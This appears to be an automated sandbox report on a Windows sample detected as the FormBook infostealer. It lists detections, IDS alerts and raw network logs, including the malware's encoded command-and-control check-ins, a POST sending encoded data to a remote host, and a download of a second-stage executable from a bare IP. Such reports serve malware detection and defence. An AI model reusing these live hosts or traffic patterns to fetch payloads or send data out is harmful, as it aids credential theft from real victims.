Windows Analysis Report
8hd98EhtIFcYkb8.exe

AI detected suspicious sample

Source: Yara match	File source: 25.2.aj34fjqh.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.8hd98EhtIFcYkb8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.8hd98EhtIFcYkb8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.aj34fjqh.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1431852540.0000000001110000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3534960934.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3691864413.0000000000590000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3530426239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3705299437.0000000002C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1431338720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3708009401.0000000005850000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3705534069.0000000004500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1433410329.00000000020C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3705085363.0000000002DB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\EuOdzX7Ehz6t1H3[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 8hd98EhtIFcYkb8.exe

Joe Sandbox ML: detected

Source: 8hd98EhtIFcYkb8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 8hd98EhtIFcYkb8.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: XOyN.pdb source: EuOdzX7Ehz6t1H3[1].exe.14.dr, aj34fjqh.exe.14.dr
Source:	Binary string: chkntfs.pdbGCTL source: 8hd98EhtIFcYkb8.exe, 00000003.00000002.1431730936.0000000000E17000.00000004.00000020.00020000.00000000.sdmp, xQUrWfQeELsQZII.exe, 0000000D.00000003.1370660862.000000000067B000.00000004.00000020.00020000.00000000.sdmp, xQUrWfQeELsQZII.exe, 0000000D.00000002.3701797109.0000000000668000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: xQUrWfQeELsQZII.exe, 0000000D.00000000.1357259966.000000000055E000.00000002.00000001.01000000.0000000D.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000002.3691801922.000000000055E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: wntdll.pdbUGP source: 8hd98EhtIFcYkb8.exe, 00000003.00000002.1431995842.0000000001270000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000003.1431710177.0000000004448000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3706103810.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3706103810.000000000493E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000003.1433783281.00000000045FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 8hd98EhtIFcYkb8.exe, 8hd98EhtIFcYkb8.exe, 00000003.00000002.1431995842.0000000001270000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, chkntfs.exe, 0000000E.00000003.1431710177.0000000004448000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3706103810.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3706103810.000000000493E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000003.1433783281.00000000045FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: chkntfs.pdb source: 8hd98EhtIFcYkb8.exe, 00000003.00000002.1431730936.0000000000E17000.00000004.00000020.00020000.00000000.sdmp, xQUrWfQeELsQZII.exe, 0000000D.00000003.1370660862.000000000067B000.00000004.00000020.00020000.00000000.sdmp, xQUrWfQeELsQZII.exe, 0000000D.00000002.3701797109.0000000000668000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: XOyN.pdbSHA256 source: EuOdzX7Ehz6t1H3[1].exe.14.dr, aj34fjqh.exe.14.dr

Source: C:\Windows\SysWOW64\chkntfs.exe

Code function: 14_2_005ABE80 FindFirstFileW,FindNextFileW,FindClose,

14_2_005ABE80

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 4x nop then jmp 026E23FCh	0_2_026E2698
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4x nop then xor eax, eax	14_2_00599790
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4x nop then mov ebx, 00000004h	14_2_045F053E

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:49712 -> 217.160.0.31:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:64459 -> 172.67.194.145:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:64463 -> 38.55.194.30:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:64467 -> 46.30.215.51:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:64471 -> 74.208.236.162:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:64475 -> 192.250.231.28:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:64479 -> 162.0.238.43:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:64484 -> 43.198.80.127:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:64488 -> 45.130.41.249:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:64492 -> 91.195.240.123:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:64496 -> 38.207.19.49:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.tufftiff.xyz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 17:26:06 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 27 Jun 2024 06:51:42 GMTETag: "aaa00-61bd9903d370d"Accept-Ranges: bytesContent-Length: 698880Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 85 20 ef 82 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 a0 0a 00 00 08 00 00 00 00 00 00 be bf 0a 00 00 20 00 00 00 c0 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c bf 0a 00 4f 00 00 00 00 c0 0a 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0a 00 0c 00 00 00 40 9e 0a 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 9f 0a 00 00 20 00 00 00 a0 0a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d4 05 00 00 00 c0 0a 00 00 06 00 00 00 a2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 0a 00 00 02 00 00 00 a8 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 bf 0a 00 00 00 00 00 48 00 00 00 02 00 05 00 d4 8c 00 00 2c 6c 00 00 03 00 00 00 14 00 00 06 00 f9 00 00 40 a5 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 02 72 01 00 00 70 73 15 00 00 0a 7d 01 00 00 04 02 14 7d 02 00 00 04 02 28 16 00 00 0a 00 00 02 28 05 00 00 06 00 2a 13 30 07 00 a9 01 00 00 01 00 00 11 00 02 7b 01 00 00 04 6f 17 00 00 0a 00 72 bc 00 00 70 02 7b 01 00 00 04 73 18 00 00 0a 0a 06 6f 19 00 00 0a 0b 2b 1a 00 02 7b 16 00 00 04 6f 1a 00 00 0a 07 16 6f 1b 00 00 0a 6f 1c 00 00 0a 26 00 07 6f 1d 00 00 0a 13 04 11 04 2d da 02 7b 01 00 00 04 6f 1e 00 00 0a 00 02 7b 01 00 00 04 6f 17 00 00 0a 00 72 f2 00 00 70 02 7b 01 00 00 04 73 18 00 00 0a 0c 08 6f 19 00 00 0a 0d 38 0b 01 00 00 00 02 7b 04 00 00 04 6f 1f 00 00 0a 72 93 01 00 70 6f 20 00 00 0a 6f 21 00 00 0a 72 a5 01 00 70 17 8d 18 00 00 01 25 16 09 16 6f 1b 00 00 0a a2 6f 22 00 00 0a 26 02 7b 04 00 00 04 6f 1f 00 00 0a 72 93 01 00 70 6f 20 00 00 0a 6f 21 00 00 0a 72 b5 01 00 70 17 8d 18 00 00 01 25 16 09 17 6f 1b 00 00 0a a2 6f 22 00 00 0a 26 02 7b 04 00 00 04 6f

Source: Joe Sandbox View	IP Address: 162.0.238.43 162.0.238.43
Source: Joe Sandbox View	IP Address: 84.32.84.32 84.32.84.32

Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View	ASN Name: LILLY-ASUS LILLY-ASUS
Source: Joe Sandbox View	ASN Name: ONECOMDK ONECOMDK
Source: Joe Sandbox View	ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE

Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.72.101

Source: global traffic	HTTP traffic detected: GET /ky1l/?Lb=GFtlIrHx8T50&FTP84=rq50Wd1lMHFX8odFqcPFBXSYTeLeWZzOZdEKt1q2Ng0jiW/1UU7Cv6Tb1vTcZWKNTv6a7aX5qQrtM6kOVx9AgvgUe5/Bja5gpUFr8IDyktkkvNGNZ4xEuXwKitfXYUFnVmIVCEjvmGcp HTTP/1.1Host: www.erhaltungsmassage.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /ym7q/?Lb=GFtlIrHx8T50&FTP84=UxZF11kgGMhVJ3h1mYaBYZj5xwuySTV9/R2JXFp47AYwysMhWE1l+EvBnUyCPTtksKPA2Ite2ltCL7XTNGD56H2fTiCax6/BQq0vjYK7AyFfq6kTJWJKbnRCSHQhd4Mpl36RQO9kaMTf HTTP/1.1Host: www.foryourhealth19.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /80eg/?Lb=GFtlIrHx8T50&FTP84=/gUd74TM946IZLQfFCjFFoMEh/bZ058Y5fxYbd7lsAuEu+8WJ/21FtYOGJlKUg3YeQ1lkwlhlDEwsFjwCVkjP3HgvWH+eFvT+Cr55kx1O3kSIIeygKzK78qTqiVgNqoEH3t5dFc0+pi4 HTTP/1.1Host: www.86wqi.cyouAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /e5cg/?FTP84=+iRPR6b0cHsvtSIKktiBhFksQ3J0g8xQjEPnQEYx5YYVoEZd7QcDm2acLw7Tj1bPoKM8M2uZ1cEL1EuWaogQQhFlafU2EKFDhhDWP+Lh20TqHHOR+DrFC95KlJHLt9tMC+FdDZkSCqct&Lb=GFtlIrHx8T50 HTTP/1.1Host: www.vivaepicmarbella.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /u4jq/?Lb=GFtlIrHx8T50&FTP84=CDJU9pFFzFP5Q+XwrjtzU7ALaZIX7Qr7xG0Tk3i+702mxinN9hpFEu+s7zPr8ql7seaWvhcu7+p+54MBjhZ2jhTmPmJLv4ka4ysGmOJ/DhiKAPXXpWbDV/sLTxWyGr8frfPdUs+6sgZH HTTP/1.1Host: www.lookstudiov.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /b9jt/?FTP84=I6wqk3vZ0MIwducyeDc5a1RUJrCEqnXhmjD4iKeo+QzF3CVziIh9NSuBhJSHyIOtb6QEc0JQU3wLuke4KM9e0eKAxB2ADTUoySVeubTpqpeKSrgjLWx1k8qzQ8FFILh8qZ99MFd/cRWi&Lb=GFtlIrHx8T50 HTTP/1.1Host: www.cr-pos.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /vwgn/?FTP84=5ueMAWSl8HCdHaQ4ISZ1AQXhc5gyPvE6M+De+X7bZoAB9UCIok5O2fARcoTif8zUuE/VgVKiECkkSJ85U3W5QFFnp/YrlC4tzeltTmpoeWoUEn2HXZmMuQrIM+LIMwiHVH8SJcx756eW&Lb=GFtlIrHx8T50 HTTP/1.1Host: www.tufftiff.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /EuOdzX7Ehz6t1H3.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.234.72.101Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /i6sl/?Lb=GFtlIrHx8T50&FTP84=qssHGV29j0ZCAjpN6QtzDw+gnCiynPmFES/c0m6mTWJ8eKXYeJPjMTEVk7GvbqhDwPeBMRZatQ3ofr/5XjUfaZC8rCPfXyoknOgmUV1BLU/3HLT18Q+LgoHdoh8bcR/ofs2EqraVghMO HTTP/1.1Host: www.botokkkd4.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /1cpo/?FTP84=XWpmZSZkQQ3crjSg4jO9FnvqfvQgDjUUlmKrUzlk+2X+Pq/xYmmvIQcMng+aGKp/N3zIo6PNXS6jtUQwBpM9XRiN/OVETSVEN1Q9JXY1u8NKleTflw9Of0xlNOdKZA91JkeaJQbbmRkx&Lb=GFtlIrHx8T50 HTTP/1.1Host: www.cvt-auto.ruAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /blq3/?Lb=GFtlIrHx8T50&FTP84=/QAAm0GouadCsSjm0XCQ0NNd9BYFgPCeNdHOqYXBISGV1GFo4SB1zqqUvhYZ4jEo/5lijPf3qt+9x6u7W4DslmBYMZTBtvuPQphb+44RgWDcLgkceETeTezSGqdjX9slNk8GIp6396hv HTTP/1.1Host: www.ridcoredry.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /vgf2/?FTP84=F0TubYbkra/fLGHNqtnaeYyDjBSRDaIxGedz+B7Iv0bejpDurJsW0bbpyLvpmMVlmiWzO1GtHUuGPki2goMxppGKi6uI7uQ9xVSgz+G1kxpEA95r9Q5H+Hhz7gAx2pLrWkb0si+rio1X&Lb=GFtlIrHx8T50 HTTP/1.1Host: www.filmbrute.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Source: global traffic	DNS traffic detected: DNS query: www.erhaltungsmassage.com
Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: www.oyoing.com
Source: global traffic	DNS traffic detected: DNS query: www.foryourhealth19.com
Source: global traffic	DNS traffic detected: DNS query: www.oudcafeae.online
Source: global traffic	DNS traffic detected: DNS query: www.86wqi.cyou
Source: global traffic	DNS traffic detected: DNS query: www.vivaepicmarbella.com
Source: global traffic	DNS traffic detected: DNS query: www.lookstudiov.com
Source: global traffic	DNS traffic detected: DNS query: www.cr-pos.com
Source: global traffic	DNS traffic detected: DNS query: www.antifabricated.com
Source: global traffic	DNS traffic detected: DNS query: www.tufftiff.xyz
Source: global traffic	DNS traffic detected: DNS query: www.botokkkd4.top
Source: global traffic	DNS traffic detected: DNS query: www.cvt-auto.ru
Source: global traffic	DNS traffic detected: DNS query: www.ridcoredry.live
Source: global traffic	DNS traffic detected: DNS query: www.filmbrute.com
Source: global traffic	DNS traffic detected: DNS query: www.xn--gotopia-bya.com

Source: unknown

HTTP traffic detected: POST /ym7q/ HTTP/1.1Host: www.foryourhealth19.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brConnection: closeContent-Length: 218Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedOrigin: http://www.foryourhealth19.comReferer: http://www.foryourhealth19.com/ym7q/User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like GeckoData Raw: 46 54 50 38 34 3d 5a 7a 78 6c 32 43 63 4e 63 4a 67 36 42 46 64 51 70 66 6d 36 4c 4c 66 68 33 56 53 54 54 32 6b 69 69 69 50 6c 59 53 30 5a 6d 51 51 68 31 4d 6f 72 58 48 64 66 2b 55 6a 61 73 56 47 63 5a 42 6b 31 72 37 4c 2b 31 2b 74 4b 7a 53 52 57 48 34 69 6d 42 31 57 47 78 47 6d 38 49 54 36 37 73 72 2f 31 41 2b 41 41 6f 61 61 74 4f 67 6c 4c 73 34 6f 46 4c 31 56 34 4c 6d 63 63 4b 32 73 6c 52 4c 46 35 6a 6e 32 6c 53 65 30 70 59 2b 47 66 64 4d 61 31 53 6c 62 53 45 66 31 67 62 34 53 68 31 30 6e 62 79 42 59 64 43 46 48 37 53 4c 68 59 61 55 53 7a 39 76 44 5a 61 67 4a 6d 72 58 58 65 44 63 6f 2f 35 2b 75 66 6d 43 6d 41 55 48 78 79 63 56 4c 34 4a 77 3d 3d Data Ascii: FTP84=Zzxl2CcNcJg6BFdQpfm6LLfh3VSTT2kiiiPlYS0ZmQQh1MorXHdf+UjasVGcZBk1r7L+1+tKzSRWH4imB1WGxGm8IT67sr/1A+AAoaatOglLs4oFL1V4LmccK2slRLF5jn2lSe0pY+GfdMa1SlbSEf1gb4Sh10nbyBYdCFH7SLhYaUSz9vDZagJmrXXeDco/5+ufmCmAUHxycVL4Jw==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 601Connection: closeDate: Mon, 01 Jul 2024 17:23:36 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 44 69 65 20 61 6e 67 65 67 65 62 65 6e 65 20 53 65 69 74 65 20 6b 6f 6e 6e 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 20 77 65 72 64 65 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Die angegebene Seite konnte nicht gefunden werden. </p> </body></html>
